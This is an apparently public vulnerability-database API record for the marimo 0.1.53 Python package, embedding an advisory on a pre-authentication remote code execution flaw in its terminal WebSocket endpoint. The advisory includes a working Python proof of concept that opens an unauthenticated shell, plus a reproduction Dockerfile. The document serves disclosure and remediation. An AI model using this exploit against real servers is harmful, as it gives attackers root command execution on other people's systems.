Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/1016383?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/1016383?format=api", "purl": "pkg:pypi/marimo@0.1.53", "type": "pypi", "namespace": "", "name": "marimo", "version": "0.1.53", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "0.23.0", "latest_non_vulnerable_version": "0.23.0", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89288?format=api", "vulnerability_id": "VCID-4mjw-8fcy-pqd3", "summary": "Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass\n## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo <= 0.20.4 \n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n\n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n if app_state.mode != SessionMode.EDIT:\n await websocket.close(...)\n return\n if not supports_terminal():\n await websocket.close(...)\n return\n # No authentication check!\n await websocket.accept() # Accepts connection directly\n # ...\n child_pid, fd = pty.fork() # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n validator = WebSocketConnectionValidator(websocket, app_state)\n if not await validator.validate_auth(): # Correct auth check\n return\n```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect('ws://TARGET:2718/terminal/ws')\ntime.sleep(2)\n\n# Drain initial output\ntry:\n while True:\n ws.settimeout(1)\n ws.recv()\nexcept:\n pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send('id\\n')\ntime.sleep(2)\nprint(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id && whoami && hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\nroot\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39987", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.8071", "scoring_system": "epss", "scoring_elements": "0.99164", "published_at": "2026-06-09T12:55:00Z" }, { "value": "0.8071", "scoring_system": "epss", "scoring_elements": "0.99163", "published_at": "2026-06-07T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39987" }, { "reference_url": "https://github.com/marimo-team/marimo", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/marimo-team/marimo" }, { "reference_url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Act", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:A/A:Y/T:T/P:M/B:A/M:M/D:C/2026-04-23T17:43:14Z/" } ], "url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a" }, { "reference_url": "https://github.com/marimo-team/marimo/pull/9098", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Act", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:A/A:Y/T:T/P:M/B:A/M:M/D:C/2026-04-23T17:43:14Z/" } ], "url": "https://github.com/marimo-team/marimo/pull/9098" }, { "reference_url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Act", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:A/A:Y/T:T/P:M/B:A/M:M/D:C/2026-04-23T17:43:14Z/" } ], "url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39987", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39987" }, { "reference_url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987" }, { "reference_url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987" }, { "reference_url": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours" }, { "reference_url": "https://github.com/advisories/GHSA-2679-6mx9-h9xc", "reference_id": "GHSA-2679-6mx9-h9xc", "reference_type": "", "scores": [ { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-2679-6mx9-h9xc" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110346?format=api", "purl": "pkg:pypi/marimo@0.23.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/marimo@0.23.0" } ], "aliases": [ "CVE-2026-39987", "GHSA-2679-6mx9-h9xc" ], "risk_score": 10.0, "exploitability": "2.0", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4mjw-8fcy-pqd3" } ], "fixing_vulnerabilities": [], "risk_score": "10.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/marimo@0.1.53" }